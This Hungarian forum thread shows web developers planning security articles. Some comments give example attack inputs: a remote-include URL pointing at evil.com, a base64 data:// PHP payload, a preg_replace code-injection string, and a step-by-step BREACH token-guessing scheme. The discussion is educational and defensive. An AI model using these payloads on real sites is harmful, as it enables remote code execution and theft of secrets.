ugrás a tartalomhoz

security cikk

inf3rno · 2013. Aug. 15. (Cs), 17.17
Szeretnék írni egy cikket biztonsági kérdésekről.

Témakörök egyelőre:
session fixation,
cross-site request forgery,
session prediction,
brute force,
man in the middle,
cross-site scripting,
sql injection,
rainbow table

Arra gondoltam, hogy inkább lista szerűen lennének jelen ezek a cikkben, mindegyiknél az elkövetett hiba, a támadás menete, a kivédés mikéntje. Ezen felül még biztosan vannak más támadási formák, várok tippeket ezekről, illetve hamarosen mindegyiket részletezem külön hozzászólásban, hogy hogy gondoltam, ezeket lehet véleményezni, kiegészíteni, illetve az új támadási módokat külön hozzászólásban egyesével küldjétek be légyszives. Ha eléggé letisztult a kép, szerintem akkor érdemes összeírni őket egy cikkbe.
 
1

Legyen egyszerű

Hidvégi Gábor · 2013. Aug. 15. (Cs), 17.34
Csak annyi kérésem lenne, hogy ha lesznek forráskódok, legyenek minél egyszerűbbek, hogy minél könnyebben lehessen őket megérteni és beépíteni.
7

Ha lesznek, akkor php-ben

inf3rno · 2013. Aug. 15. (Cs), 21.48
Ha lesznek, akkor php-ben írom őket, de inkább általános jellegűnek szántam a cikkeket, nem egy-egy nyelvre kiélezve.
26

Az jó

Pepita · 2013. Aug. 20. (K), 01.31
Fontosnak tartom, hogy alapoktól indulj, kezdők is érthessék. Inkább kelljen "gyorsolvasásban" pár bekezdést átfutni, minthogy kezdőknek ne lehessen linkelni.
Én nagyon várom, jelenleg besegítést sajnos nem tudok vállalni.
27

Pedig elkélne, mert hatalmas

inf3rno · 2013. Aug. 20. (K), 01.59
Pedig elkélne, mert hatalmas téma, és vannak benne részek, amiről még én se hallottam tegnapig, pl XEE, amit tgr is írt... Az igazi az lenne, ha össze tudnék szórni egy biztonságos beléptető rendszert, amit tetszőleges oldalon lehet használni, de arra most igazán nincs időm.

Az SQL injectiont elküldtem Ádámnak, még lektorálja... Mondjuk a legjobb lenne tgr-el átnézetni, mert ő itt a szaki biztonság témában... Hátha még ki tudja egészíteni valamivel...
28

Mondjuk a legjobb lenne

tgr · 2013. Aug. 20. (K), 17.52
Mondjuk a legjobb lenne tgr-el átnézetni, mert ő itt a szaki biztonság témában...


Messze nem, pláne SQL kérdésekben. De ha elküldöd, szívesen átnézem, több szem többet lát.
29

Privát

Pepita · 2013. Aug. 20. (K), 22.42
Privátban válaszoltam, kifogás nem ide való.
2

Az elején vagy a sorozat első

Joó Ádám · 2013. Aug. 15. (Cs), 19.08
Az elején vagy a sorozat első részében lehetne szó általános elvekről („filter input, escape output” stb.), és úgy egyébként is szép lenne, ha nem csak egy lista volna, hanem a támadások elve, módszertana szerint egyikről a másikra volnának bemutatva.

Egyébként egyes támadási formákról esett szó több már megjelent cikkben, esetleg ezeket is érdemes átnézni.

Továbbá, nem feltétlen ennek a keretében, de jó lenne olvasni egy átfogó írást a TLS-ről, meg egyet általában a kriptográfiáról.
8

Továbbá, nem feltétlen ennek

inf3rno · 2013. Aug. 15. (Cs), 21.50
Továbbá, nem feltétlen ennek a keretében, de jó lenne olvasni egy átfogó írást a TLS-ről, meg egyet általában a kriptográfiáról.


Ennyire sajnos nem vagyok képzett a témában. Egy közepes szintet tudok hozni, ami azért így is több, mint amit általában fórumokon kérdésekben látok.
3

Rainbow táblát ma már nem

tgr · 2013. Aug. 15. (Cs), 19.17
Rainbow táblát ma már nem nagyon használnak, a hash-törés (pláne célhardverrel) olyan gyors, hogy nincs szükség rá.

A PHP security cheatsheet elég jó gyűjtemény a lehetséges támadásokról, a cutting edge-ről meg ez a prezentáció.
9

Ahogy nézem a támadások

inf3rno · 2013. Aug. 15. (Cs), 21.54
Ahogy nézem a támadások listáját, azt hiszem nagy fába vágtam a fejszémet :D

Első körben jelszavak adatbázisban tárolásáról fogok írni, azt legalább úgy gondolom, hogy átlátom. Ezzel sok embernek úgyis alapvető gondja van, ha már az is kérdés, hogy az md5 visszafejthető e, meg hasonlók...

Ez a brute force, sql injection, rainbow table témákat részben vagy teljesen lefedi.
10

Egyelőre beküldtem az SQL

inf3rno · 2013. Aug. 16. (P), 03.34
Egyelőre beküldtem az SQL injectiont, azt egy lélegzetre könnyű volt megírni. Majd ha még lesz egy kis időm, akkor összeszórom a hash készítést szivárványostul, mindenestül.
22

Hash-törés

vbence · 2013. Aug. 17. (Szo), 13.36
Én a célközönséget jobban defininálnám. Ahol szükség van az SQL injection elmagyarázására ott valsz túl részletes lesz a rainbow tábla működésének leírása.

Általában a hash témakörére igaz, hogy hozzá kell előbb férnie magához a hash-hez a támadónak. Ez már feltételezi, hogy volt egy hatalmas lyuk/hiba a rendszerben, így én azt mondanám ez inkább második vonal beli téma.

CSRF-ről kellene sokat és jót, ezzel elég keveset foglalkoznak, ahhoz képest, hogy az oldalak hány százalékán jelen van.
23

Nem igazán értek egyet,

inf3rno · 2013. Aug. 17. (Szo), 16.18
Nem igazán értek egyet, sokaknak lövése sincs arról, hogy miért kellene hash-elni a jelszót, max rátesznek egy md5-öt, aztán annyi...
24

Fontos

vbence · 2013. Aug. 18. (V), 21.47
Nem azt mondom, hogy ez nem fontos téma, de vannak nagyságrendekkel fontosabbak is. Nekem ez inkább "második körös" probléma. De persze bármiről is írsz a közjót mozdítja elő.
25

Ha úgy gondolod, akkor

inf3rno · 2013. Aug. 20. (K), 00.29
Ha úgy gondolod, akkor megírhatod a munkamenetekkel kapcsolatos töréseket, amíg én az adatbázisokkal kapcsolatosakat. Nekem így logikusabb volt témánként haladni, időm meg amúgy sincs sok, úgyhogy nem tudom mikor kerülne sorra a csrf...
4

A stream wrapper alapú remote

tgr · 2013. Aug. 15. (Cs), 19.19
A stream wrapper alapú remote code inclusion elég tipikus probléma még PHP-ben, pl. XML entitásban vagy paraméterként kapott fájlnévben.
11

Erről írhatnál bővebben,

inf3rno · 2013. Aug. 16. (P), 03.38
Erről írhatnál bővebben, google semmit nem dob nekem rá.
15

Ha az allow_url_fopen be van

tgr · 2013. Aug. 16. (P), 10.05
Ha az allow_url_fopen be van kapcsolva (ez a default), akkor a fájl megnyitására használt parancsok URL-ekkel és még egzotikusabb dolgokkal is működnek. (Közben utánanéztem, és PHP 5.2 óta a remote include-ot külön is engedélyezni kell, szóval ez már inkább csak történelmi érdekesség. Mindig tanul az ember valamit.)

<?php
// mailPreview.php
$mailTemplate = $_GET['template'];
?>

This is how your mail will look:
<?php include $mailTemplate; ?>
http://example.com/mailPreview.php?template=http://evil.com/php.txt
http://example.com/mailPreview.php?template=data://text/plain;base64,cGhwaW5mbygpOw==

A példa elég béna, de más sebezhetőségekkel társítva (pl. register_globals, XXE) előfordul komolyabb alkalmazásokban is.
18

Az XXE mennyire veszélyes?

inf3rno · 2013. Aug. 16. (P), 14.15
Az XXE mennyire veszélyes? Nem teljesen értem a leírás alapján, hogy mihez férnek hozzá vele.
20

A körülményektől függ. Lehet

tgr · 2013. Aug. 16. (P), 14.52
A körülményektől függ. Lehet vele DoS támadást csinálni (billion laughs); ha a támadó hozzáfér a kimenethez, akkor lehet vele fájlokat lopni (forráskód, db jelszó, linux jelszó stb.); ha az expect PECL csomag telepítve van, akkor tetszőleges PHP kódot is lehet vele futtatni.

Abban az értelemben nagyon veszélyes, hogy a PHP alapbeállításai nem biztonságosak (az entity feloldás alapból be van kapcsolva), és elenyészően kevesen hallottak csak erről a támadásról.
21

Nálam most az van bent egy

inf3rno · 2013. Aug. 16. (P), 15.08
Nálam most az van bent egy rendszerben, hogy automatikusan parsolja be a bemenetet a header alapján, szóval ha json-t küldenek, akkor tömböt kapjak, ha xml-t, valszeg akkor is, még nem próbáltam. Ezek szerint nagyon jó lenne kiszedni az xml feldolgozást...

Ahogy nézem simplexml-t csinál belőle. Bele kell írnom, hogy csak json-ra menjen a parsolás.

libxml_disable_entity_loader(true);

ez véd ellene
5

preg_replace /e veszélyei.

tgr · 2013. Aug. 15. (Cs), 19.22
preg_replace /e veszélyei.
12

Hehe. Java-ban nem véletlenül

inf3rno · 2013. Aug. 16. (P), 03.40
Hehe. Java-ban nem véletlenül nincs eval...
16

Amin PHP-ben viszonylag

tgr · 2013. Aug. 16. (P), 10.07
Amin PHP-ben viszonylag könnyű hasra esni, az az, hogy az "" nem alkalmas ilyenkor a felhasználótól származó input escape-elésére. Itt van pl. ez a kód:
http://www.chuggnutt.com/html2text
ami kb. az első gugli találat a "php mail plain text transform" keresésre. Első ránézésre nem biztos, hogy megmondanád, hogy akkor code execution vulnerability van benne, mint egy ház.
17

Mondjuk

Poetro · 2013. Aug. 16. (P), 10.47
Mondjuk egy ilyen beadott HTML-re gondolsz?
<h1>{${print_r($_SERVER)}}</h1>
19

Ja a h1-6-nál eval-t

inf3rno · 2013. Aug. 16. (P), 14.19
Ja a h1-6-nál eval-t használ... Hát elég kemény...
63

http://blog.sucuri.net/2013/0

inf3rno · 2013. Aug. 30. (P), 12.18
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
Újabb eval-os adalék... :-)
A másik, hogy exif header-ben tud utazni bármilyen neked, vagy a felhasználónak káros kód... Most keresem, hogy hogyan lehet kiszűrni, valszeg be kell olvasni a teljes fájlt, és lementeni egy újba, az eredeti feltöltött fájl meg mehet a szemétbe...
64

Azért aki az exif fejlécekre

MadBence · 2013. Aug. 30. (P), 13.41
Azért aki az exif fejlécekre eval-t enged, magára vessen. Mellesleg ez egy backdoor, azaz itt behatolás nem történik, csak ügyesen el van rejtve egy hátső bejárat (nem pedig csak egy egyszerű eval($_POST['zz1']); van odabiggyesztve)
65

Én feltöltött képeket mindig

Hidvégi Gábor · 2013. Aug. 30. (P), 14.50
Én feltöltött képeket mindig újra szoktam kódolni.
66

Ebben az esetben ez

MadBence · 2013. Aug. 30. (P), 15.09
Ebben az esetben ez lényegtelen, hisz a támadó helyezte el a kódot a forrásban, ugyanúgy, ahogy a képet is a támadó tette fel a szerverre.
Nem igazán látom azt a use-case-t, ahol ilyen kód előfordulhatna (egy EXIF mezőről feltételezzük, hogy egy reguláris kifejezés)
67

Az exif-ben én úgy tudom el

inf3rno · 2013. Aug. 30. (P), 15.21
Az exif-ben én úgy tudom el lehet helyzni vírusokat is. Olvastam már olyat, hogy valamelyik ubuntun imagick-el megnyitva vírust helyez el az exif, meg windows-on képnézegetővel megnyitva szintén. Hogy ennek mi a valóság alapja, arról fogalmam sincs. Jobb szűrni, mint megijedni...
69

Persze, a parser hibáját ki

MadBence · 2013. Aug. 30. (P), 15.27
Persze, a parser hibáját ki lehet használni (buffer overflow, vagy ilyesmi), de ez az adott lib hibája. (amúgy teljesen reális a dolog, pdf-ben, fontokban időről időre találnak olyan sérülékenységeket, amivel kódfuttatásra lehet bírni az értelmezőt.)
68

Én feltöltött képeket mindig

inf3rno · 2013. Aug. 30. (P), 15.23
Én feltöltött képeket mindig újra szoktam kódolni.

Ja, ez a bevált módszer, GD-vel PNG-ben menteni, aztán úgy megmarad a képminőség, az exif részt meg eldobja.
71

A képminőség megmarad, csak a

tgr · 2013. Aug. 30. (P), 16.47
A képminőség megmarad, csak a méret lesz picit nagyobb.

Egyébként nyilván itt szükségük volt az exifre, mint ahogy az komolyabb képnézegető oldalakon tipikus, mert egy csomó hasznos infó van benne, pl. hogy melyik oldala legyen fölül a képnek.

Meg lehet az exif kommentben olyan információ (pl. szerző honlapja, copyright notice), amit nem illik vagy akár nem is legális törölni.
70

Az IE6-os időkben rengeteget

tgr · 2013. Aug. 30. (P), 16.46
Az IE6-os időkben rengeteget lehetett ezzel szopni, merthogy annak megvolt az a jó szokása, hogy okosabbnak képzelte magát, mint a webmaster, és ha ő úgy érezte, hogy egy fájl html, akkor azt html-ként kezelte, hiába szolgálta ki a szerver image/jpeg mimetype-pal. Az úgyérzésnek sok formája volt, pl. fel lehetett tölteni egy képet .html kiterjesztéssel, vagy <html> taggel az EXIF commentben, és akkor simán lefuttatta a benne lévő javascriptet, és kész is volt az XSS lyuk, ha a fejlesztő nem volt annyira óvatos, hogy a képeket külön domainről töltse be.
72

A bizonyíték, hogy miért

Joó Ádám · 2013. Aug. 31. (Szo), 03.55
A bizonyíték, hogy miért életveszélyes Postel törvénye.
73

Jesszus, és ezt valaki

inf3rno · 2013. Aug. 31. (Szo), 10.21
Jesszus, és ezt valaki komolyan gondolta?! :D
75

Postel's law, after Internet

H.Z. · 2013. Aug. 31. (Szo), 13.41
Postel's law, after Internet pioneer Jon Postel

Akkoriban még gondolhatta komolyan.
Azóta eltelt pár év(tized).
74

Nem értek egyet

vbence · 2013. Aug. 31. (Szo), 11.46
A "liberal in what you accept" nem jelenti azt, hogy okosabbnak hiszed magad mindenkinél. Csupán annyit, hogy nem dobod vissza a műveletet ha bármi nem frankó (mondjuk ha a CSS rossz content type-pal lett küldve).
76

mondjuk ha a CSS rossz

Joó Ádám · 2013. Aug. 31. (Szo), 14.10
mondjuk ha a CSS rossz content type-pal lett küldve


De hát épp ezt tette az Explorer is. Egyébként az ilyen biztonsági kockázat nyilván csak az extrém megnyilvánulása a problémának, egyébként a „liberal in what you accept” simán csak segíti a hibák megbújását.
78

Az IE6 nem liberális, hanem

tgr · 2013. Aug. 31. (Szo), 21.33
Az IE6 nem liberális, hanem autoriter, nem érdekli, mit küldesz neki, legyen az bármennyire valid, ha ő a saját heurisztikái alapján úgy érzi, hogy valami más hasznosabb lenne. Postel törvénye egy magától értetődő alapvetés "zajos" környezetben, ahol a hibátlan küldés nem reális elvárás vagy feleslegesen megnövelné az előállítási költségeket / belépési küszöböt. Te használnál olyan böngészőt, ami egy hibaüzenettel kilép, ha az oldal nem 100%-ban valid? Vagy írnál olyan nyelven weboldalt, hogy a böngészők ezt csinálják? (A lehetőség ugyebár adott, XHTML-t kell küldeni application/xml mimetype-pal.)
79

Vagy írnál olyan nyelven

Joó Ádám · 2013. Aug. 31. (Szo), 21.40
Vagy írnál olyan nyelven weboldalt, hogy a böngészők ezt csinálják? (A lehetőség ugyebár adott, XHTML-t kell küldeni application/xml mimetype-pal.)


Pontosan ezt csinálom.
81

Pontosan nem, legalábbis a

tgr · 2013. Aug. 31. (Szo), 22.07
Pontosan nem, legalábbis a honlapod text/html-t küld. Komolyabb oldalnál meg nyilván szóba sem jön, mert az IE nem kezeli rendesen. De még ha nem így lenne is, megnézném azt a fejlesztőt, aki bevállalja egy valódi, fizetős projektnél, ahol komplex dinamikus tartalmat kell generálni, hogy a tartalom bármilyen hibája az oldal használhatatlanná válásával járjon...
82

Az csak azért, mert a Dotroll

Joó Ádám · 2013. Aug. 31. (Szo), 23.04
Az csak azért, mert a Dotroll szerverén van. De mindent így fejlesztek, ha én konfigurálom a szervert, akkor így is szolgálok ki. IE9 óta az Explorer is kezeli.

De még ha nem így lenne is, megnézném azt a fejlesztőt, aki bevállalja egy valódi, fizetős projektnél, ahol komplex dinamikus tartalmat kell generálni, hogy a tartalom bármilyen hibája az oldal használhatatlanná válásával járjon...


Ezt nem értem. Egy PHP hiba is az oldal használhatatlanná válásával jár. Mitől más a frontend kód?
83

Mitől más?

Pepita · 2013. Aug. 31. (Szo), 23.59
Mitől más a frontend kód?
Attól pl, hogy a legtöbb böngésző lezárja helyetted a lezáratlan tag-eket, stb :) Magyarul ha figyelmetlen vagy: majd figyel helyetted, minek is annyit foglalkozni vele?
84

Hát, én nem így állok a

Joó Ádám · 2013. Szep. 1. (V), 00.47
Hát, én nem így állok a munkámhoz, de ahány ház, annyi szokás :)
87

Tudom,

Pepita · 2013. Szep. 2. (H), 00.58
irónia volt.. :)
86

Alapvetően nem más, csak a

tgr · 2013. Szep. 1. (V), 10.16
Alapvetően nem más, csak a frontendnél könnyen elkerülhető ez, a backendnél meg nem (bár általában ott is tesz rá kísérletet az ember, erről szól végső soron a kivételkezelés is).
85

Miért?

T.G · 2013. Szep. 1. (V), 07.33
Egész eddig erről a törvényről én nem is hallottam. Így nem tudom, hogy milyen rendszerek készültek e törvény alapján. Ám, amit írnak róla szerintem nem több, mint alkalmazzuk a leggyengébb előfeltételt és a legerősebb utófeltételt. Nem látom, hogy ez miért lenne rossz? IE6 egyértelműen nem felel meg az utóbbinak.

Keretrendszerek fejlesztésénél nem is csinálhatsz mást, mint e logikát követed. A felhasználóidnak minél nagyobb szabadságot kell biztosítani, ám garantálod is kell a helyes működést. Nem látom, hogy ez miért elítélendő?

Böngészőknek is hasonlóan kell viselkedniük, a honlapok hibáit le kell tudnod kezelni, különben az Internet 95%-át nem tudnád megjeleníteni. Ám a legerősebb utófeltételt betartva a helyes bemeneti adatok után helyes kimenetre lenne szükség, és ebben az IE6 elbukik, azaz nem felel meg Postel törvényének. Szerintem.
6

Clickjacking.

tgr · 2013. Aug. 15. (Cs), 19.27
13

Sorra fog kerülni. Egyelőre

inf3rno · 2013. Aug. 16. (P), 03.45
Sorra fog kerülni. Egyelőre az adatbázis védelmével kezdtem, majd folytatom az adatbázisban tárolt belépési adatok védelmével, aztán a munkamenettel, és így tovább... Az UI még messze van.
14

OWASP - Top 10

T.G · 2013. Aug. 16. (P), 07.07
30

Arra gondoltam, hogy csinálok

inf3rno · 2013. Aug. 20. (K), 23.04
Arra gondoltam, hogy csinálok repot githubon ezeknek a cikkeknek, így egyszerűbb belenyúlni az írásokba, ha valaki lektorálni akar, és esetleg lehet saját írományt is beküldeni, ha valakinek van írói vénája hozzá.

A másik, amire gondoltam, hogy lehetne csinálni gráfot (fát) a biztonsági cikkeknél a nagyobb kategóriákról, hogy jobban követhető legyen, éppen hol tartunk, de ezt lehet, hogy elvetem, mert annyira nem tiszta, hogy hogyan lehetne ezt beszórni minden cikk elé, vagy hogy van e lehetőség valami központi oldalt csinálni, ahol kategória szerint cikkeket lehet választani.
31

Én a checklist formátumra

tgr · 2013. Aug. 21. (Sze), 11.20
Én a checklist formátumra mennék, ahol minden pont mellett van egy link egy weblabor cikkre vagy annak egy szakaszára, hogy aki nem tudja, mi ez és hogyan kell csinálni, az könnyen utánanézhessen.

Kategóriafába rendezett cikkekre egyébként a könyv tartalomtípus ideális Drupalban.
32

Csináltam egy repot, amiben a

inf3rno · 2013. Aug. 21. (Sze), 15.15
Csináltam egy repot, amiben a jelenlegi nyers változat szerepel:
https://github.com/inf3rno/weblabor-cikkek

- Ha új cikket szeretnél beküldeni, akkor azt pull request formájában teheted meg.
- A cikkeket véleményezni issue formájában lehet. Minden cikkhez alapból létrehozok egy issue-t, ahova lehet írni.
- A javításokat pull request formájában várom.
- Ha több cikkre vonatkozó elképzelés van, akkor azt szintén issue formájában várom.
33

Markdown HTML helyett? a

MadBence · 2013. Aug. 21. (Sze), 15.58
Markdown HTML helyett? a github azt kulturáltan megjeleníti
35

Okés srácok, mindent

inf3rno · 2013. Aug. 21. (Sze), 16.47
Okés srácok, mindent beszórtam innen issuekba:

https://github.com/inf3rno/weblabor-cikkek/issues?state=open

Ha valakinek további észrevétele, ötlete van, kérem szépen, hogy a repo-ban jelezze valamelyik issue-nál, vagy nyisson neki újat!
36

Inkább ide is kiteszem, mert

inf3rno · 2013. Aug. 24. (Szo), 03.43
Inkább ide is kiteszem, mert itt többen látják, és fontos:
http://arstechnica.com/security/2013/08/how-do-you-stop-https-defeating-breach-attacks-let-us-count-the-ways/

Nem ajánlott a tömörítés használata titkosított tartalom esetén. Nem értem pontosan a támadás mikéntjét, egyelőre csak átfutottam.
37

Itt volt róla szó bővebben.

tgr · 2013. Aug. 24. (Szo), 10.52
Itt volt róla szó bővebben.
38

Köszi! Még így sem teljesen

inf3rno · 2013. Aug. 24. (Szo), 14.32
Köszi! Még így sem teljesen értem a menetét :D Majd utánanézek jobban.
39

Hát, te

Pepita · 2013. Aug. 25. (V), 02.19
akkora biztonsági szaki leszel, mire mindet végigjárod, hogy ihaj. Mi meg behabzsoljuk a "termést". De azért reménykedem, hogy nem csak habzsolni fogok - de ez csak remény.
40

Az alapötlet elég egyszerű:

tgr · 2013. Aug. 25. (V), 09.53
Az alapötlet elég egyszerű: ha van mondjuk egy CSRF token a HTML oldalban, valahogy így -
<input name="csrf" type="hidden" value="3d736eb237ca" />
a támadó pedig rá tudja venni a klienst, hogy tetszőlegesen sokszor lekérje ezt az oldalt (ez ugyanúgy megy, mint a CSRF támadásnál: a saját oldalára csalja a felhasználót, és az az oldal javascripttel, láthatatlan iframe-ből vagy más hasonló módon tetszőleges GETPOST kérést tud küldeni a támadott oldalnak), tud a válaszoldalba tetszőleges saját tartalmat fecskendezni (pl. érvénytelen űrlapelküldés esetén a szerver általában beteszi az űrlapelemekbe a kapott paramétereket, vagy ki lehet használni egy "X találat volt a ZZZ kifejezésre keresve" típusú szöveget), és le tudja hallgatni a (titkosított) válaszokat, akkor egyszerűen elkezd kéréseket küldetni a felhasználóval, és befecskendez ilyen tartalmakat:
 
    <input name="csrf" type="hidden" value="0
    <input name="csrf" type="hidden" value="1
    <input name="csrf" type="hidden" value="2
    <input name="csrf" type="hidden" value="3
    <input name="csrf" type="hidden" value="4
    <input name="csrf" type="hidden" value="5
    ...

Mivel a tömörítés úgy működik, hogy ismétlődő stringeket emel ki az oldalból, és azokat valami röviddel helyettesíti, amikor a támadó helyesen tippeli meg a token első betűjét, akkor egy picit hosszabb lesz az ismétlődő string, és ezért pár bájttal kisebb lesz a tömörített oldal mérete. Ezután elkezdi próbálgatni a következő karaktert stb.
41

Még mindig nem értem :D Miért

inf3rno · 2013. Aug. 25. (V), 17.29
Még mindig nem értem :D
Miért válaszol egyáltalán egy hibás tokenes kérésre a szerver?
Ha hibás a token, akkor az a válaszban úgyis csak annyi lesz, hogy nincs jogosultságod a kérés küldésére.
Nekem nem áll össze a kép. :S
42

Tipikusan akkor hibás a

tgr · 2013. Aug. 25. (V), 20.47
Tipikusan akkor hibás a token, ha lejárt a session, és ha ilyenkor lenyeled a felhasználó fáradságos munkával félig kitöltött űrlapját, akkor nem lesz boldog.

Egyébként a dolog nem korlátozódik tokenekre. Egy konkrét példa: te vagy a kínai kormány, és szeretnéd tudni, hogy egy adott újságíró, akit rendszerellenes izgatással gyanúsítasz, milyen néven van jelen a Facebookon, kik a barátai stb. Belenézel a forrásba, és látod, hogy vissza van tükrözve benne az aktuális URL. Ezek után egyszerűen egy általad vezérelt lapra csalod az illetőt, és elkezdesz a böngészőjéből https://www.facebook.com/a, https://www.facebook.com/b stb. címre kéréseket küldözgetni. Amikor olyan betűt választasz, amivel kezdődő link már szerepel az oldalon, picit rövidebb lesz a válasz, és átterhetsz a második betűre stb. Ezt folytatva szépen fel lehet térképezni, milyen linek szerepelnek az oldalon, amiből kiderül az illető baráti köre, hogy milyen csoportokban vesz részt, milyen facebook oldalakat osztottak meg vele mostanában stb.
43

Amikor olyan betűt

inf3rno · 2013. Aug. 26. (H), 01.17
Amikor olyan betűt választasz, amivel kezdődő link már szerepel az oldalon, picit rövidebb lesz a válasz, és átterhetsz a második betűre stb.


Mitől lesz rövidebb, hiszen egyik esetben sem a helyes url-t írta be, ugyanúgy 404-et kell kapnia mindkét esetben nem? Pontosan mit értesz a "vissza van tükrözve benne az aktuális URL" alatt?
44

Nagyon leegyszerűsítve, az

tgr · 2013. Aug. 26. (H), 10.53
Nagyon leegyszerűsítve, az egyik esetben kapsz egy ilyen 404-et (a kód fiktív, de ha megnézed a Facebook kódját, a szükséges linkek tényleg ott vannak):
<html>
  <head>
    <link rel="canonical" href="https://www.facebook.com/a" />
  </head>
  <body>
    <ul class="menu">
      <a rel="profile" href="https://www.facebook.com/gipsz.jakab">Home</a>
    </ul>
    404 Not Found
  </body>
</html>
a másik esetben meg egy ilyet:
<html>
  <head>
    <link rel="canonical" href="https://www.facebook.com/g" />
  </head>
  <body>
    <ul class="menu">
      <a rel="profile" href="https://www.facebook.com/gipsz.jakab">Home</a>
    </ul>
    404 Not Found
  </body>
</html>
A második kicsit jobban tömöríthető, mert nagyobb az átfedés a linkek között. Konkrétan ha a fenti szövegekre lefuttatsz egy gzipet, 171 illetve 170 bájtos tömörített stringet fogsz kapni.
45

Okés, valami ilyesmit

inf3rno · 2013. Aug. 26. (H), 12.01
Okés, valami ilyesmit sejtettem, tehát csak akkor működik a dolog, ha a keresett cucc kétszer szerepel benne. Ez végülis kivédhetetlen, mert tetszőleges input-ba beírhatod a tokent tesztnek... Egyedül a js kliens + REST api véd ellene, mert ott csak egy 404 headert kapsz vissza, az űrlapba írt dolgokat a kliens tárolja a böngészőben. Meg esetleg ha random hosszúságú stringet fűzöl az űrlapodhoz minden esetben, de ott is ügyesen kell megválasztani a határokat, hogy a tömörítés megérje, de mellette annyi változatot kelljen végigpróbálni, hogy pármilliárd évig tartson a törés. Még amit lehet, hogy loggolni a munkamenetben, hogy hány egymás utáni sikertelen próbálkozás volt, és bizonyos számú után kiléptetni.

Én szerintem a legkézenfekvőbb, ha a http szerver minden kérésre automatikusan ráheggeszt egy random hosszúságú headert. Így a tartalom ugyanúgy kesselhető marad. A szükséges hossz tartományt meg ki lehet számolni. Gondolom ott az számít, hogy x db próbálkozásból bájt pontossággal meg lehet e mondani a várható értéket vagy sem. Ha viszont erre kényszerítjük a hackert, akkor már egy fokkal könnyebb dolgunk van, mert az ilyen ismétlődő hibás kérések még könnyebben loggolhatóak, mondjuk ha minden hibás kérésre csinálunk egy hasht egy gyors algoritmussal, és az adott hash sokszor ismétlődik egymás után, akkor ki lehet léptetni az illetőt a munkamenetből, illetve figyelmeztetni, hogy valszeg támadó oldalt néz. Ehhez elég csak a hibakezelő részébe a kódnak betenni, hogy csináljon hasht a hibás kérésekből, tehát a valid kéréseknél ez nem lassítaná az oldalt, csak a hibásaknál... Mondjuk ezt meg ki lehet játszani, ha a hacker betesz egy random string-et a kérésébe, hogy a hash ne ismétlődjön. Bonyolult ez a téma... :D
46

Szerintem ez egy jó irány

Pepita · 2013. Aug. 27. (K), 01.42
Még amit lehet, hogy loggolni a munkamenetben, hogy hány egymás utáni sikertelen próbálkozás volt, és bizonyos számú után kiléptetni.
Az sem rossz ötlet, ha két próbálkozás közt el kell telni x másodpercnek (ami még emberi), illetve ha y rossz próba volt, akkor nem kell megszüntetni a sessiont, hanem barátságosan kiírni, hogy z ideig tiltva van.

Egy kérdés: hacker oldalról mennyire bonyolult automatikusan IP-t hazudni, illetve minden próbálkozáshoz másikat használni mennyi időveszteség neki? Az IP alapú "5 perc alatt 3 próbálkozásod lehet" ma már gyenge?
48

Az sem rossz ötlet, ha két

tgr · 2013. Aug. 27. (K), 09.28
Az sem rossz ötlet, ha két próbálkozás közt el kell telni x másodpercnek (ami még emberi), illetve ha y rossz próba volt, akkor nem kell megszüntetni a sessiont, hanem barátságosan kiírni, hogy z ideig tiltva van.


Ez teljesen realisztikus, ha egy blogot üzemeltetsz, napi három látogatóval.

Olyan oldalnál, ami elég nagy ahhoz, hogy fel is akarják törni ilyen szofisztikált módszerekkel, nem igazán.
49

Zombihálózatból történő

Hidvégi Gábor · 2013. Aug. 27. (K), 10.17
Zombihálózatból történő támadásnál nem gond IP-t váltani.
50

A botneteket bérbe lehet

inf3rno · 2013. Aug. 27. (K), 12.11
A botneteket bérbe lehet venni ilyen támadásokra, nem kunszt IP-t váltani mondjuk 10.000-szer.
52

OK, IP bukott

Pepita · 2013. Aug. 27. (K), 12.18
De a time-limitelésről (belépési kísérletre, egy sessionből) mi a véleményetek? tgr, nem igazán értem, kifejtenéd?
54

Ez a támadás nem belépési

inf3rno · 2013. Aug. 27. (K), 13.15
Ez a támadás nem belépési kísérletről szól. A felhasználó már be van jelentkezve, csak titkosított oldalt használ, aztán a titkosított oldalból próbálunk információt nyerni.

Én még azt nem értem ezzel kapcsolatban, hogy a támadó oldal hogy használja fel az én cookie-mat ellenem. A cors-t alapból tiltja a szerver, külön be kell állítani, hogy engedélyezzen egy-egy domain-t, gondolom https-el meg még szigorúbb a helyzet, pl nem lehet infot küldeni titkosítatlanról titkosítottnak, stb... Nekem ez így kivitelezhetetlennek tűnik... Ohh közben összeállt, hogy nem kell az eredményt kiolvasni, elég csak elküldeni az űrlapot, amit egy rejtett iframe megcsinál. Mivel man in the middle, a hacker figyeli közben a hálózati forgalmat, és abból szűri ki a neki kellő kéréseket...
58

Hűha

Pepita · 2013. Aug. 27. (K), 23.13
Ja-ja, előzőleg elvesztettem a fonalat...

Nem azért, de itt már kezd egy kész hackertanfolyam kialakulni, biztos, hogy azt jó ilyen nyilvánosan?
59

A cél az

inf3rno · 2013. Aug. 27. (K), 23.26
A cél az oktatás/tájékoztatás, hogy az ilyen támadások kivédhetőek legyenek.
60

Amúgy meg semmi olyan nem

bamegakapa · 2013. Aug. 27. (K), 23.44
Amúgy meg semmi olyan nem hangzott el, ami ne lenne simán elérhető az interneten :).
61

Security by obscurity

vbence · 2013. Aug. 28. (Sze), 00.19
Valami nem lesz biztonságosabb attól, hogy a nagy nyilvánosság számára nincs elérhető információ róla. A biztonság egyetlen titok megtartásán kell hogy múljon, és ez a kulcs.

Minden más a biztonság hamis illúziójához járul hozzá. (Soksok remek példa a GSM hálózatok pályafutása alatt.)
62

mindenestre jó ötlet

inf3rno · 2013. Aug. 28. (Sze), 00.38
mindenestre jó ötlet átnevezni az egészet hacker tanfolyamnak, akkor biztosan többen olvassák :D
47

Ez végülis

Hidvégi Gábor · 2013. Aug. 27. (K), 07.42
Ez végülis kivédhetetlen
Kivédhető, ha az oldaladat úgy készíted el, hogy kikapcsolt javascripttel is működjön.
51

Pont hogy a kikapcsolt

inf3rno · 2013. Aug. 27. (K), 12.12
Pont hogy a kikapcsolt javascript, ami miatt van. Ha js kliensek lennének, akkor nem kellene tükrözni soha az űrlapot, mert a kliens tárolná... De lehet én futottam át valamin felületesen, kifejtenéd?
53

A következőből indultam

Hidvégi Gábor · 2013. Aug. 27. (K), 13.09
A következőből indultam ki:
